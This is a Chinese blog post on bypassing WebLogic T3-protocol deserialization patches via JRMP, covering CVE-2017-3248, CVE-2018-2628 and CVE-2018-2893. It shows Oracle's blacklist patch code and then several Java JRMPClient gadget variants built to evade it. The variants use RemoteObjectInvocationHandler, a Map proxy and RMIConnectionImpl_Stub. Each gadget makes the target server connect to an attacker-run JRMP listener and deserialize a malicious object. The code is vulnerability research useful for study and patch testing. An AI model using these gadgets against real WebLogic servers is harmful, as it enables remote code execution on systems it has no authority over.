WebLogic基于T3协议的反序列化之利用JRMP进行绕过

0x01

前面的CVE-2016-3510/CVE-2016-0638都是把payload封装在对象里面进行绕过,而后续的绕过就利用JRMP进行绕过。

0x02 CVE-2017-3248

直接使用T3协议打payloads/JRMPClient Gadget,使目标连接我们架设好的exploit/JRMPListern后反序列化 JRMPListern返回的恶意对象。

0x03 CVE-2018-2628

在InboundMsgAbbrev$ServerChannelInputStream类上添加一个resolveProxyClass方法,不让反序列化Registry接口的代理类。

protected Class<?> resolveProxyClass(String[] interfaces) throws IOException, ClassNotFoundException {
   String[] arr$ = interfaces;
   int len$ = interfaces.length;
   for(int i$ = 0; i$ < len$; ++i$) {
      String intf = arr$[i$];
      if(intf.equals("java.rmi.registry.Registry")) {
         throw new InvalidObjectException("Unauthorized proxy deserialization");
      }
   }
   return super.resolveProxyClass(interfaces);
}
  1. payloads/JRMPClient不用代理类,直接使用RemoteObjectInvocationHandler类
public static Object getObject() throws Exception{
    TCPEndpoint tcpEndpoint = new TCPEndpoint(host,port,null,null);
    LiveRef liveRef = new LiveRef(new ObjID(0),tcpEndpoint,false);
    UnicastRef unicastRef = new UnicastRef(liveRef);
    RemoteObjectInvocationHandler remoteObjectInvocationHandler = new RemoteObjectInvocationHandler(unicastRef);
    return remoteObjectInvocationHandler;
}
  1. 可以换为任意一个接口。
public static Object getObject() throws Exception{
    TCPEndpoint tcpEndpoint = new TCPEndpoint(host,port,null,null);
    LiveRef liveRef = new LiveRef(new ObjID(0),tcpEndpoint,false);
    UnicastRef unicastRef = new UnicastRef(liveRef);
    RemoteObjectInvocationHandler remoteObjectInvocationHandler = new RemoteObjectInvocationHandler(unicastRef);
    Map proxy = (Map) Proxy.newProxyInstance(JRMPClient.class.getClassLoader(), new Class[] {
        Map.class
            }, remoteObjectInvocationHandler);
    return proxy;
}

0x04 CVE-2018-2893

把RemoteObjectInvocationHandler/UnicastRef都加入了黑名单,把RemoteObjectInvocationHandler替换为另一个继承RemoteObject的类即可

public static Object getObject() throws Exception{
    TCPEndpoint tcpEndpoint = new TCPEndpoint(host,port,null,null);
    LiveRef liveRef = new LiveRef(new ObjID(0),tcpEndpoint,false);
    UnicastRef unicastRef = new UnicastRef(liveRef);
    RMIConnectionImpl_Stub rmiConnectionImpl_stub = new RMIConnectionImpl_Stub(unicastRef);
    return rmiConnectionImpl_stub;
}
  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 1
    评论
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值